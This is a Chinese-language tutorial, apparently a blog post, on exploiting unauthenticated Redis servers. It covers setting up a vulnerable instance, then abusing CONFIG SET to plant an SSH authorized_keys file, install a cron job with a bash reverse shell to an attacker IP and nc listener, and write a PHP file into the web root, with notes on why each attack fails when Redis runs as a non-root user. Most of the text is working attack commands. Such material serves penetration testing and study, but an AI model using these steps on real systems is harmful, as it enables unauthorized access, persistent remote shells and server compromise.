天天看點

Redis未授權通路漏洞詳解

環境搭建

環境:centos7 gcc

1:下載下傳安裝包

wget http://download.redis.io/releases/redis-3.2.6.tar.gz

2:解壓安裝包到指定檔案

tar zxvf redis-3.2.6.tar.gz -C /usr/local

3:cd /usr/local/redis-3.2.6

4:make 進行編譯

5:cd src && make install

6:export PATH=$PATH: /usr/local/redis-3.2.6/src 添加環境變量

7:cd … &&vim redis.conf 修改protected-mode no使之可遠端登入,修改daemonize yes使之可背景運作,注釋bind 127.0.0.1使之可遠端登入

8:redis-server /usr/local/redis-3.2.6/redis.conf 啟動redis,注意要指定配置檔案

9: redis-cli -h 127.0.0.1 -p 6379 shutdown 關閉redis

以上為預設配置,redis端口為6379,沒有密碼,導緻未授權通路

root使用者啟動利用

1.ssh 密鑰登入

1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /root/.ssh/  
這裡設定目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因為root從來沒有登入過,在被攻擊機執行ssh localhost 即可
(error) ERR Changing directory: Permission denied
說明redis并不是以root啟動的
6. config set dbfilename "authorized_keys"
7. save

退出redis
8. ssh -i id_rsa [email protected]_server 即可登入成功
           

2.計劃任務反彈shell

1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" 
3. config set dir /var/spool/cron
4. config  set dbfilename "root"
5. save

192.168.1.4 開啟監聽
6. nc -l 4444
           

普通使用者啟動利用

1.ssh 密鑰登入

1. ssh-keygen -t rsa
2. (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
3. cat auth_key | redis-cli -h hostname -x set crackit
4. redis-cli -h hostname
5. config set dir /home/user/.ssh/  
這裡設定目錄時,可能存在(error) ERR Changing directory: No such file or directory
這是因為user從來沒有登入過,需要自己建立
6. config set dbfilename "authorized_keys"
7. save

退出redis
8. ssh -i id_rsa [email protected]_server
這裡直接免密登入可能仍會提示要求輸入密碼,檢視被攻擊機的ssh連接配接日志/var/log/secure
Authentication refused: bad ownership or modes for directory /home/sojrs
即被連接配接使用者的目錄權限存在問題,需要手工設定
原因:
sshd為了安全,對屬主的目錄和檔案權限有所要求。如果權限不對,則ssh的免密碼登陸不生效。
使用者目錄權限為 755 或者 700,就是不能是77x,建立者必須為user。
.ssh目錄權限一般為755或者700。
rsa_id.pub 及authorized_keys權限一般為644
rsa_id權限必須為600
總的來說,如果是非root使用者啟動,比較雞肋,需要普通使用者事先配置好免密登入的各項目錄及權限,否則很容易失敗

           

2.計劃任務反彈shell

1. redis-cli -h 192.168.1.8
2. set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" 
3. config set dir /var/spool/cron
(error) ERR Changing directory: Permission denied
檢視/var/spool/cron 目錄權限為700,且為root建立
即使該普通使用者具有sudo權限也不行

5. config  set dbfilename "root"
6. save
無法利用
           

Web服務寫馬

1. config set  dir /var/www/html/
2. config set  dbfilename shell.php
3.  set  cmd "<?php phpinfo(); ?>"
4. save

web服務寫馬需要知道web的安裝路徑
           

繼續閱讀